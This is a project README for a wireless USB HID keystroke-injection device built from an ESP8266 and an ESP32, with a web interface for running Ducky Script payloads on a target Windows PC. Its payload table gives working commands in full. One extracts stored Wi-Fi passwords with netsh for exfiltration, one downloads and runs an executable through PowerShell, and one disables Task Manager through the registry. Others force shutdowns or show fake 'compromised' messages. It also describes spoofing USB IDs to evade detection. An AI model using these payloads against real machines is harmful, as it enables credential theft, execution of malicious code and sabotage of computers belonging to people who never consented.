Wireless HID Pentesting Tool

Overview

The Wireless HID Pentesting Tool is a dual-module red team device for executing USB HID-based attacks and extracting sensitive data, such as Wi-Fi passwords, from a target PC. Developed by Ronit Paikray (Instagram: mister_i_777), this project combines an ESP8266 for payload management and a web interface with an ESP32-S2/S3 for USB HID keyboard and CDC serial functionality. The tool supports Ducky Script payloads, enabling actions like opening applications, displaying fake messages, or extracting Wi-Fi credentials, all while maintaining stealth through spoofed USB descriptors.

Features

• ESP8266 Web Interface:
  • Mobile-first, responsive UI built with Bootstrap 5.
  • Manage payloads (upload, run, delete) stored in SPIFFS.
  • View and download extracted Wi-Fi data via a dedicated "Collected Data" tab.
  • Real-time status updates via AJAX polling.
• ESP32 Composite USB Device:
  • Acts as a HID keyboard and CDC serial device using TinyUSB.
  • Executes Ducky Script payloads received from ESP8266 via UART.
  • Captures Wi-Fi data via CDC serial and forwards it to ESP8266.
  • Spoofs generic keyboard VID/PID (0x1209/0x0001) to evade basic detection.
• Predefined Payloads:
  • 13 Ducky Script payloads for tasks like opening YouTube, shutting down the PC, or extracting Wi-Fi passwords.
  • Payloads stored in /payloads/ directory, preloaded on first boot.
• Wi-Fi Password Extraction:
  • Extracts Wi-Fi profiles and passwords, saved to C:\Windows\Temp on the target PC.
  • Data can be manually redirected to CDC serial for exfiltration to ESP8266.
• UART Communication:
  • ESP8266 and ESP32 communicate at 115200 baud for payload execution and data transfer.

Project Structure

Wireless-HID-Pentesting-Tool/
├── ESP8266_HID_Injector.ino   # ESP8266 Arduino sketch
├──  ESP32_HID_CDC.ino         # ESP32 Arduino sketch
├──workflow.puml               # PlantUML workflow diagram
└── README.md                  # This file

Hardware Requirements

• ESP8266: Any ESP8266 board (e.g., NodeMCU, Wemos D1 Mini).
• ESP32-S2/S3: Board with USB support (e.g., ESP32-S2-Saola-1, ESP32-S3-DevKitC).
• Cables: USB cable for ESP32 to target PC, jumper wires for UART connection.
• Target PC: Windows (tested), macOS/Linux (partial support).

Wiring Configuration

The ESP8266 and ESP32 are connected via UART for communication. Below is the wiring setup:

ESP8266 Pin	ESP32 Pin	Description
D5 (GPIO14)	GPIO16 (RX)	ESP8266 TX to ESP32 RX
D6 (GPIO12)	GPIO17 (TX)	ESP8266 RX to ESP32 TX
GND	GND	Common ground

Notes:

• Ensure a common ground to prevent communication issues.
• ESP32 connects to the target PC via USB for HID and CDC functionality.
• Power both boards (e.g., via USB or external 3.3V/5V supply).

Setup Instructions

Prerequisites

• Arduino IDE or PlatformIO.
• Libraries:
  • For ESP8266: ESP8266WiFi, ESP8266WebServer, ArduinoJson, SoftwareSerial.
  • For ESP32: Adafruit_TinyUSB_Arduino (enable TinyUSB in board settings).
• Board Settings:
  • ESP8266: Select your board (e.g., NodeMCU 1.0).
  • ESP32-S2/S3: Select board, enable "USB CDC on Boot" in Arduino IDE.

Installation

1. Clone the Repository:

   git clone https://github.com/Ronit-paikray/Wireless-HID-Pentesting-Tool.git

2. ESP8266 Setup:

   • Open ESP8266_HID_Injector.ino in Arduino IDE.
   • Upload the sketch to the ESP8266.
   • Create an empty data/ folder in the sketch directory.
   • Upload SPIFFS filesystem using the ESP8266 Sketch Data Upload tool.

3. ESP32 Setup:

   • Open ESP32_HID_CDC.ino in Arduino IDE.
   • Ensure TinyUSB and USB CDC are enabled in board settings.
   • Upload the sketch to the ESP32-S2/S3.

4. Wiring:

   • Connect ESP8266 and ESP32 as per the wiring table.
   • Connect ESP32 to the target PC via USB.

5. Access the Web UI:

   • Connect to the ESP8266 WiFi AP (HID_Injector_AP, password 12345678).
   • Open http://192.168.4.1 in a browser.

Usage Guide

1. Payload Management:
   • Navigate to the "Payloads" tab in the web UI.
   • View 13 predefined payloads (e.g., open_youtube.txt, extract_wifi_passwords.txt) with tooltips describing their functions.
   • Upload new .txt payloads or delete existing ones.
   • Click "Run" to execute a payload on the target PC.
2. Wi-Fi Password Extraction:
   • Select extract_wifi_passwords.txt and click "Run".
   • ESP32 types commands to save Wi-Fi profiles/passwords to C:\Windows\Temp\wifi_passwords.txt and displays them.
   • Manually redirect output to the CDC serial port (e.g., type C:\Windows\Temp\wifi_passwords.txt > COMX on the PC).
   • ESP32 captures the data and forwards it to ESP8266.
3. Data Retrieval:
   • Go to the "Collected Data" tab to view extracted Wi-Fi data.
   • Download wifi_data.txt when available.
4. Status Feedback:
   • The UI displays real-time status (e.g., Executing:, Wi-Fi data received) via AJAX updates every 2 seconds.

Predefined Payloads

File Name	Description	Commands
open_youtube.txt	Opens YouTube	GUI R DELAY 500 STRING https://www.youtube.com ENTER
change_wallpaper.txt	Opens wallpaper settings	GUI R DELAY 500 STRING control /name Microsoft.Personalization /page pageWallpaper ENTER
shutdown_pc.txt	Shuts down PC	GUI R DELAY 500 STRING shutdown /s /t 0 ENTER
open_calculator.txt	Opens calculator	GUI R DELAY 500 STRING calc ENTER
fake_update.txt	Shows fake update message	REM Open Notepad... GUI R DELAY 500 STRING notepad ENTER DELAY 1000 STRING Your system is updating... Please wait. ENTER
extract_wifi_passwords.txt	Extracts Wi-Fi passwords	GUI R DELAY 500 STRING cmd CTRL SHIFT ENTER DELAY 1000 STRING netsh wlan show profiles > C:\Windows\Temp\wifi_profiles.txt ENTER DELAY 1000 STRING for /f "tokens=2 delims=:" %i in ('netsh wlan show profiles') do netsh wlan show profile name=%i key=clear >> C:\Windows\Temp\wifi_passwords.txt ENTER DELAY 1000 STRING type C:\Windows\Temp\wifi_passwords.txt ENTER
compromise_notice.txt	Shows "compromised" message	GUI R DELAY 500 STRING notepad ENTER DELAY 1000 STRING Your PC has been compromised! ENTER STRING Please contact admin immediately. ENTER
disconnect_wifi.txt	Disconnects Wi-Fi	GUI R DELAY 500 STRING cmd CTRL SHIFT ENTER DELAY 1000 STRING netsh wlan disconnect ENTER
download_exec.txt	Downloads/executes file	GUI R DELAY 500 STRING powershell -Command "Invoke-WebRequest -Uri 'http://example.com/malware.exe' -OutFile 'C:\Users\Public\malware.exe'" ENTER DELAY 2000 STRING C:\Users\Public\malware.exe ENTER
open_camera.txt	Opens camera app	GUI R DELAY 500 STRING microsoft.windows.camera: ENTER
meme_typing.txt	Types coding meme	DELAY 500 STRING When you realize your code has a bug... ENTER STRING But it still runs perfectly in production. ENTER
force_reboot.txt	Forces reboot	GUI R DELAY 500 STRING shutdown /r /t 0 /f ENTER
disable_taskmgr.txt	Disables Task Manager	GUI R DELAY 500 STRING reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f ENTER

Developer Notes

• ESP8266:
  • Uses SPIFFS for payload storage (/payloads/).
  • Web server handles HTTP routes for payload management and data download.
  • UART communication (115200 baud) with ESP32 for sending payloads and receiving data.
  • AJAX polling updates UI status every 2 seconds.
• ESP32:
  • Composite HID keyboard + CDC serial device via TinyUSB.
  • Parses Ducky Script commands (STRING, DELAY, ENTER, GUI, etc.).
  • Spoofs generic keyboard VID/PID (0x1209/0x0001) to evade detection.
  • Forwards CDC serial data (e.g., Wi-Fi passwords) to ESP8266 with WIFI_DATA: prefix.
• Extending Payloads:
  • Add new .txt files with Ducky Script commands to /payloads/ via the UI.
  • Extend the ESP32 parser (executeDuckyCommand) for advanced commands (e.g., LOOP, REPEAT).
• Wi-Fi Data Exfiltration:
  • Current extract_wifi_passwords.txt requires manual CDC redirection.
  • Future enhancement: Use PowerShell to automate output to the CDC COM port.
• Security:
  • Robust error handling for UART, SPIFFS, and USB communication.
  • Avoid buffer overflows in string parsing.
  • Consider payload encryption for production use.

Workflow Diagram

See diagrams/workflow.puml for a PlantUML diagram illustrating the interaction between the operator, ESP8266, ESP32, and target PC. Render it using a PlantUML tool (e.g., PlantUML Web Server).

Limitations

• Wi-Fi Data: Requires manual redirection to CDC serial (e.g., type C:\Windows\Temp\wifi_passwords.txt > COMX). Automation via PowerShell is planned.
• Detection: Advanced endpoint security may detect scripted keystrokes. Spoofed VID/PID helps only against basic USB checks.
• Character Support: ESP32 keycode mapping supports basic ASCII; extend for special characters or layouts.
• Platform: Primarily tested on Windows; macOS/Linux support is partial.

Future Enhancements

• Automate CDC serial output for Wi-Fi data using PowerShell scripts.
• Add support for advanced Ducky Script commands (LOOP, REPEAT).
• Implement payload encryption or authentication.
• Optimize USB descriptors for faster enumeration.
• Add SPIFFS logging on ESP32 for debugging.

Credits

• Developer: Ronit Paikray (Instagram: mister_i_777).
• Inspiration: IoT and cybersecurity innovations by Ronit Paikray.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contributing

Contributions are welcome! Please:

1. Fork the repository.
2. Create a feature branch (git checkout -b feature/YourFeature).
3. Commit changes (git commit -m 'Add YourFeature').
4. Push to the branch (git push origin feature/YourFeature).
5. Open a pull request.

Contact

For questions or suggestions, contact Ronit Paikray via Instagram or open an issue on GitHub.